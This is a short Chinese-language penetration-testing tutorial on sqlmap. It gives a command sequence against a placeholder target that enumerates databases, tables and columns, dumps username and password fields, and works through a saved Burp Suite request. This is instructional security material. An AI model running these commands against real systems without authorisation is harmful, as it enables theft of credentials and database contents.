💡 為什麼需要自動化工具 sqlmap?
在 Day 11 中,我們學習了如何手動尋找 SQL 注入點並透過 ORDER BY 和 UNION SELECT 提取資料。然而,在真實的滲透測試情境中,手動枚舉整個資料庫的表名、欄位名與內容不僅耗時,遇到盲注(Blind SQLi)或時間延遲注入(Time-based SQLi)時更需要發送數千次請求才能還原一個字元。
sqlmap 是一款功能極為強大的開源自動化 SQL 注入與資料庫接管工具。它能自動檢測並利用各種 SQL 注入漏洞,從資料庫指紋識別、資料庫枚舉,到直接下載整個資料庫甚至獲取伺服器 Shell 權限。
🛠️ sqlmap 核心運作模式與常用參數
sqlmap 支援六種 SQL 注入技術(Boolean-based, Error-based, UNION query-based, Stacked queries, Time-based, Inline queries)。以下是資安人員最常使用的黃金指令流程:
Bash
sqlmap -u "http://target.com/page.php?id=1" --batch
-u:指定帶有參數的目標 URL。
--batch:自動採用預設選項,不需手動確認提示。
獲取所有資料庫名稱:
Bash
sqlmap -u "http://target.com/page.php?id=1" --dbs
獲取指定資料庫的資料表(Tables):
Bash
sqlmap -u "http://target.com/page.php?id=1" -D target_db --tables
獲取指定資料表的欄位(Columns):
Bash
sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --columns
拖庫/提取欄位內容(Dump):
Bash
sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users -C username,password --dump
🔍 進階技巧:搭配 Burp Suite 請求檔(-r)
許多時候 SQLi 漏洞存在於需要登入的 POST 表單或帶有複雜 Cookie / Header 的請求中。此時可以直接利用 Burp Suite 攔截請求並存成文字檔(如 req.txt),再交給 sqlmap 處理:
Bash
sqlmap -r req.txt -p username --dump
-r req.txt:讀取完整的 HTTP 請求報文檔。
-p username:指定僅針對 username 這個參數進行注入測試(節省時間與請求次數)。